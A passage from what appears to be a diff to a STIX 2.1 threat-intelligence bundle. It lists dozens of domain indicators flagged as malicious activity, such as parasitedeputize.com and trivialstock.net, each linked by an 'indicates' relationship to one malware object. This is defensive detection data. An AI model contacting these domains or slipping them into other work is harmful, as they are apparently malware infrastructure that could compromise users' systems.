{ + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1754af15-cded-412b-955a-9c4f445361ee", + "created": "2023-03-29T12:58:43.666311Z", + "modified": "2023-03-29T12:58:43.666311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parasitedeputize.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.666311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd3096fd-fca7-4fc3-a6ee-b66a935a1812", + "created": "2023-03-29T12:58:43.666988Z", + "modified": "2023-03-29T12:58:43.666988Z", + "relationship_type": "indicates", + "source_ref": "indicator--1754af15-cded-412b-955a-9c4f445361ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b745d41d-df88-4b64-bd68-3f68e200ebd3", + "created": "2023-03-29T12:58:43.667178Z", + "modified": "2023-03-29T12:58:43.667178Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trivialstock.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.667178Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b6f37f7-0dd8-4f35-a2ab-a7f9d4d43639", + "created": "2023-03-29T12:58:43.667842Z", + "modified": "2023-03-29T12:58:43.667842Z", + "relationship_type": "indicates", + "source_ref": "indicator--b745d41d-df88-4b64-bd68-3f68e200ebd3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a028e03-7a56-4d5b-8053-33435188b6d4", + "created": "2023-03-29T12:58:43.668033Z", + "modified": "2023-03-29T12:58:43.668033Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nursingherbicide.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.668033Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7ec6ebe-bda3-453a-aee4-c88d92def308", + "created": "2023-03-29T12:58:43.668716Z", + "modified": "2023-03-29T12:58:43.668716Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a028e03-7a56-4d5b-8053-33435188b6d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8df1ddd-640b-4930-86b3-88e5cc8fe3b9", + "created": "2023-03-29T12:58:43.668911Z", + "modified": "2023-03-29T12:58:43.668911Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diningsprain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.668911Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e002dc56-fe4a-413b-9e4d-a33a8ce0f75f", + "created": "2023-03-29T12:58:43.669569Z", + "modified": "2023-03-29T12:58:43.669569Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8df1ddd-640b-4930-86b3-88e5cc8fe3b9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2d33c06b-87a8-4486-a97e-5dde2a6c3b17", + "created": "2023-03-29T12:58:43.669757Z", + "modified": "2023-03-29T12:58:43.669757Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perfectlyvantage.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.669757Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fa5896e-2123-4b67-a706-4d10e1cdf805", + "created": "2023-03-29T12:58:43.670516Z", + "modified": "2023-03-29T12:58:43.670516Z", + "relationship_type": "indicates", + "source_ref": "indicator--2d33c06b-87a8-4486-a97e-5dde2a6c3b17", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d6b24dc-ab18-4d66-a48c-b37d0c7662be", + "created": "2023-03-29T12:58:43.670705Z", + "modified": "2023-03-29T12:58:43.670705Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastnessconfound.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.670705Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--603e3cce-d9ea-4200-b477-f58f45294824", + "created": "2023-03-29T12:58:43.671371Z", + "modified": "2023-03-29T12:58:43.671371Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d6b24dc-ab18-4d66-a48c-b37d0c7662be", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a8d93c62-662b-4c95-ab2f-deebec191b2e", + "created": "2023-03-29T12:58:43.671559Z", + "modified": "2023-03-29T12:58:43.671559Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tndlounge.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.671559Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--abe0b5f5-940b-4e69-aa4c-fc37a55e8718", + "created": "2023-03-29T12:58:43.672221Z", + "modified": "2023-03-29T12:58:43.672221Z", + "relationship_type": "indicates", + "source_ref": "indicator--a8d93c62-662b-4c95-ab2f-deebec191b2e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30ae66e8-824c-4834-a212-de3908514ba3", + "created": "2023-03-29T12:58:43.672405Z", + "modified": "2023-03-29T12:58:43.672405Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='floraldealing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.672405Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6face45e-2f1b-4ee9-ba3d-53bfbefd692a", + "created": "2023-03-29T12:58:43.673034Z", + "modified": "2023-03-29T12:58:43.673034Z", + "relationship_type": "indicates", + "source_ref": "indicator--30ae66e8-824c-4834-a212-de3908514ba3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--96f3a1c3-4ab9-47fe-8632-cd183f08d551", + "created": "2023-03-29T12:58:43.673215Z", + "modified": "2023-03-29T12:58:43.673215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kelpastound.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.673215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3641a88-8eb5-4f3b-b326-2ba1ba5d6186", + "created": "2023-03-29T12:58:43.67385Z", + "modified": "2023-03-29T12:58:43.67385Z", + "relationship_type": "indicates", + "source_ref": "indicator--96f3a1c3-4ab9-47fe-8632-cd183f08d551", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa43413d-b90e-4caf-a2e8-7b23a5809cef", + "created": "2023-03-29T12:58:43.674031Z", + "modified": "2023-03-29T12:58:43.674031Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lavoripaul.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.674031Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--419e35ce-38da-4b73-b72c-921357121437", + "created": "2023-03-29T12:58:43.674714Z", + "modified": "2023-03-29T12:58:43.674714Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa43413d-b90e-4caf-a2e8-7b23a5809cef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ee4f0d2-1c36-428c-9af0-f3b5bbe03ea9", + "created": "2023-03-29T12:58:43.674897Z", + "modified": "2023-03-29T12:58:43.674897Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='objectspring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.674897Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e8ccbfb1-a8bb-43aa-aa9e-199e0c2e4d73", + "created": "2023-03-29T12:58:43.675544Z", + "modified": "2023-03-29T12:58:43.675544Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ee4f0d2-1c36-428c-9af0-f3b5bbe03ea9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9901189a-46d2-440d-85e0-61a35584a118", + "created": "2023-03-29T12:58:43.675737Z", + "modified": "2023-03-29T12:58:43.675737Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='corncobundertone.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.675737Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b884ff3-73fb-4d7f-9649-fa59ec65e289", + "created": "2023-03-29T12:58:43.676364Z", + "modified": "2023-03-29T12:58:43.676364Z", + "relationship_type": "indicates", + "source_ref": "indicator--9901189a-46d2-440d-85e0-61a35584a118", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--00c4b173-0164-4145-9fce-28f7fadfcdd2", + "created": "2023-03-29T12:58:43.676539Z", + "modified": "2023-03-29T12:58:43.676539Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roaminginworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.676539Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70ae7b9e-1dbf-4d91-8151-2c5fc7d6b0fb", + "created": "2023-03-29T12:58:43.677209Z", + "modified": "2023-03-29T12:58:43.677209Z", + "relationship_type": "indicates", + "source_ref": "indicator--00c4b173-0164-4145-9fce-28f7fadfcdd2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3abd1a99-be16-4e38-aa1a-25e17a558e75", + "created": "2023-03-29T12:58:43.677383Z", + "modified": "2023-03-29T12:58:43.677383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bnmbuilders.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.677383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f0001ea-a272-47f5-9888-fe878bb22254", + "created": "2023-03-29T12:58:43.678102Z", + "modified": "2023-03-29T12:58:43.678102Z", + "relationship_type": "indicates", + "source_ref": "indicator--3abd1a99-be16-4e38-aa1a-25e17a558e75", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bcdc761a-7cd7-49f1-8b5b-f7621af8c0ba", + "created": "2023-03-29T12:58:43.678277Z", + "modified": "2023-03-29T12:58:43.678277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='retryharmonics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.678277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d92c611-b735-422a-a449-dcab5d8c4cb7", + "created": "2023-03-29T12:58:43.678884Z", + "modified": "2023-03-29T12:58:43.678884Z", + "relationship_type": "indicates", + "source_ref": "indicator--bcdc761a-7cd7-49f1-8b5b-f7621af8c0ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75070c05-1174-438f-a557-b3c15eb68770", + "created": "2023-03-29T12:58:43.679055Z", + "modified": "2023-03-29T12:58:43.679055Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='barbecueslacked.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.679055Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fab2f22d-341e-4ff1-ad45-21cd96c36351", + "created": "2023-03-29T12:58:43.679661Z", + "modified": "2023-03-29T12:58:43.679661Z", + "relationship_type": "indicates", + "source_ref": "indicator--75070c05-1174-438f-a557-b3c15eb68770", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef149867-fa62-4b14-9b3d-8b52af992767", + "created": "2023-03-29T12:58:43.679833Z", + "modified": "2023-03-29T12:58:43.679833Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cityson.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.679833Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8c86c8c2-c15c-4c34-9e7f-41c3d5f32e8e", + "created": "2023-03-29T12:58:43.68043Z", + "modified": "2023-03-29T12:58:43.68043Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef149867-fa62-4b14-9b3d-8b52af992767", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b38fac10-60db-41b9-b1f6-1fd7cae20726", + "created": "2023-03-29T12:58:43.680605Z", + "modified": "2023-03-29T12:58:43.680605Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='botanyreaffirm.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.680605Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--08d5383d-f615-4012-ab98-25bc60c50366", + "created": "2023-03-29T12:58:43.681203Z", + "modified": "2023-03-29T12:58:43.681203Z", + "relationship_type": "indicates", + "source_ref": "indicator--b38fac10-60db-41b9-b1f6-1fd7cae20726", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--49d06647-b47c-4692-b892-59e4a9deb0b7", + "created": "2023-03-29T12:58:43.681374Z", + "modified": "2023-03-29T12:58:43.681374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='limespromenade.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.681374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fef8b1a-95fe-4701-a063-31dd175d8a8b", + "created": "2023-03-29T12:58:43.681984Z", + "modified": "2023-03-29T12:58:43.681984Z", + "relationship_type": "indicates", + "source_ref": "indicator--49d06647-b47c-4692-b892-59e4a9deb0b7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cafc9a7f-77b8-4a9d-bfd4-bd78cb6a4a86", + "created": "2023-03-29T12:58:43.682156Z", + "modified": "2023-03-29T12:58:43.682156Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reconfirmarmrest.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.682156Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ecb76639-003e-4cd1-87dd-b573b6126ac8", + "created": "2023-03-29T12:58:43.682763Z", + "modified": "2023-03-29T12:58:43.682763Z", + "relationship_type": "indicates", + "source_ref": "indicator--cafc9a7f-77b8-4a9d-bfd4-bd78cb6a4a86", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94cf7770-4d7e-4fdd-acc3-c844d64b1b3f", + "created": "2023-03-29T12:58:43.682934Z", + "modified": "2023-03-29T12:58:43.682934Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='harpbrooms.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.682934Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a667cac4-86ca-4b79-a784-dae42006f444", + "created": "2023-03-29T12:58:43.683546Z", + "modified": "2023-03-29T12:58:43.683546Z", + "relationship_type": "indicates", + "source_ref": "indicator--94cf7770-4d7e-4fdd-acc3-c844d64b1b3f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c412c1e8-dff5-488d-9fa4-acf2c55f2949", + "created": "2023-03-29T12:58:43.68372Z", + "modified": "2023-03-29T12:58:43.68372Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diameterdeceiving.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.68372Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b2207da-c328-451d-bda7-f65098f982bf", + "created": "2023-03-29T12:58:43.684328Z", + "modified": "2023-03-29T12:58:43.684328Z", + "relationship_type": "indicates", + "source_ref": "indicator--c412c1e8-dff5-488d-9fa4-acf2c55f2949", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7e69c39-f0e1-4035-85f8-a17981f7ca60", + "created": "2023-03-29T12:58:43.6845Z", + "modified": "2023-03-29T12:58:43.6845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mindscrable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.6845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1aa3cde4-3da6-4de3-8fb5-edc2bb333167", + "created": "2023-03-29T12:58:43.685213Z", + "modified": "2023-03-29T12:58:43.685213Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7e69c39-f0e1-4035-85f8-a17981f7ca60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb7c13e7-4301-4486-8f79-29232bcfc0ad", + "created": "2023-03-29T12:58:43.685401Z", + "modified": "2023-03-29T12:58:43.685401Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='splinedcolor.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.685401Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9926551b-4901-4eb0-987d-bf0d62405a9b", + "created": "2023-03-29T12:58:43.686019Z", + "modified": "2023-03-29T12:58:43.686019Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb7c13e7-4301-4486-8f79-29232bcfc0ad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ced1fcd3-b0a3-46ee-a04a-4f1a99d5ce05", + "created": "2023-03-29T12:58:43.686193Z", + "modified": "2023-03-29T12:58:43.686193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prudishlypension.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.686193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--818b9efc-0457-4e9a-93d3-d4a3985de62c", + "created": "2023-03-29T12:58:43.686804Z", + "modified": "2023-03-29T12:58:43.686804Z", + "relationship_type": "indicates", + "source_ref": "indicator--ced1fcd3-b0a3-46ee-a04a-4f1a99d5ce05", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b4af1359-aad9-4e4a-a088-5ad882f200e6", + "created": "2023-03-29T12:58:43.686976Z", + "modified": "2023-03-29T12:58:43.686976Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='atypicalunwritten.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.686976Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--523f294e-e7f7-4d90-9b1a-1b7f706118f2", + "created": "2023-03-29T12:58:43.687583Z", + "modified": "2023-03-29T12:58:43.687583Z", + "relationship_type": "indicates", + "source_ref": "indicator--b4af1359-aad9-4e4a-a088-5ad882f200e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b863ef1-15bb-4435-9e64-fc01939658c5", + "created": "2023-03-29T12:58:43.687756Z", + "modified": "2023-03-29T12:58:43.687756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='muchheadfirst.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.687756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--abcaba43-7f64-4f41-b4da-183796fbd432", + "created": "2023-03-29T12:58:43.688365Z", + "modified": "2023-03-29T12:58:43.688365Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b863ef1-15bb-4435-9e64-fc01939658c5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b301e6bb-23d5-46fb-915d-dde3a43b5191", + "created": "2023-03-29T12:58:43.688537Z", + "modified": "2023-03-29T12:58:43.688537Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flockannouncer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.688537Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--982e2487-775e-443b-b814-710ee3af3403", + "created": "2023-03-29T12:58:43.68914Z", + "modified": "2023-03-29T12:58:43.68914Z", + "relationship_type": "indicates", + "source_ref": "indicator--b301e6bb-23d5-46fb-915d-dde3a43b5191", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--569982d9-b2f5-415b-9678-d853d9f40afb", + "created": "2023-03-29T12:58:43.689311Z", + "modified": "2023-03-29T12:58:43.689311Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prismcompress.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.689311Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--657467b0-3ee8-4960-91bc-ad879ba540a9", + "created": "2023-03-29T12:58:43.689921Z", + "modified": "2023-03-29T12:58:43.689921Z", + "relationship_type": "indicates", + "source_ref": "indicator--569982d9-b2f5-415b-9678-d853d9f40afb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--32c24bc6-6290-4ec4-bbeb-940ddaf03212", + "created": "2023-03-29T12:58:43.690094Z", + "modified": "2023-03-29T12:58:43.690094Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='servedumpster.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.690094Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d1a48a2-0752-4a78-b276-01be38d6d43f", + "created": "2023-03-29T12:58:43.6907Z", + "modified": "2023-03-29T12:58:43.6907Z", + "relationship_type": "indicates", + "source_ref": "indicator--32c24bc6-6290-4ec4-bbeb-940ddaf03212", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08a23b00-e501-4940-89be-1a84c0c82830", + "created": "2023-03-29T12:58:43.690877Z", + "modified": "2023-03-29T12:58:43.690877Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reazioneinversa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.690877Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91ecbd0a-c90e-43a4-97a8-1bf09c0e6048", + "created": "2023-03-29T12:58:43.691513Z", + "modified": "2023-03-29T12:58:43.691513Z", + "relationship_type": "indicates", + "source_ref": "indicator--08a23b00-e501-4940-89be-1a84c0c82830", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1a58554-d6fe-463d-8546-d794c5ad05f7", + "created": "2023-03-29T12:58:43.691692Z", + "modified": "2023-03-29T12:58:43.691692Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upbeatconfining.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.691692Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d36938b5-4d4e-45a8-8448-1a73bd91b90f", + "created": "2023-03-29T12:58:43.692411Z", + "modified": "2023-03-29T12:58:43.692411Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1a58554-d6fe-463d-8546-d794c5ad05f7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06daae11-4d07-4ecf-9136-6e4363e1cd8f", + "created": "2023-03-29T12:58:43.692586Z", + "modified": "2023-03-29T12:58:43.692586Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backlightsingular.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.692586Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bca6dcf9-6ff1-48f5-8c2a-3bd30782d7ee", + "created": "2023-03-29T12:58:43.693212Z", + "modified": "2023-03-29T12:58:43.693212Z", + "relationship_type": "indicates", + "source_ref": "indicator--06daae11-4d07-4ecf-9136-6e4363e1cd8f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbb1a172-c436-48b3-a12e-cb3de7b5903c", + "created": "2023-03-29T12:58:43.693423Z", + "modified": "2023-03-29T12:58:43.693423Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jokinglyconclude.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.693423Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--51d5657d-1c3d-4fb7-b15c-b868c26b913b", + "created": "2023-03-29T12:58:43.694043Z", + "modified": "2023-03-29T12:58:43.694043Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbb1a172-c436-48b3-a12e-cb3de7b5903c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--876ca09b-8f21-4458-a634-6ce326347618", + "created": "2023-03-29T12:58:43.694213Z", + "modified": "2023-03-29T12:58:43.694213Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kellerprogetti.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.694213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d98a1f6f-ab62-40d8-b361-da1e513bbc2e", + "created": "2023-03-29T12:58:43.694815Z", + "modified": "2023-03-29T12:58:43.694815Z", + "relationship_type": "indicates", + "source_ref": "indicator--876ca09b-8f21-4458-a634-6ce326347618", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--52e9d9c2-6c42-43e7-954a-00289791525e", + "created": "2023-03-29T12:58:43.694985Z", + "modified": "2023-03-29T12:58:43.694985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='redgreypost.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.694985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8baade1f-ccbe-4c29-afa0-ea6e7b4436e7", + "created": "2023-03-29T12:58:43.695585Z", + "modified": "2023-03-29T12:58:43.695585Z", + "relationship_type": "indicates", + "source_ref": "indicator--52e9d9c2-6c42-43e7-954a-00289791525e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e91edbae-516b-48c5-9dfa-609376ad0387", + "created": "2023-03-29T12:58:43.695755Z", + "modified": "2023-03-29T12:58:43.695755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trapdoorpunisher.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.695755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ecd8a11a-d07a-4b78-a6f0-399e43fb99f8", + "created": "2023-03-29T12:58:43.696359Z", + "modified": "2023-03-29T12:58:43.696359Z", + "relationship_type": "indicates", + 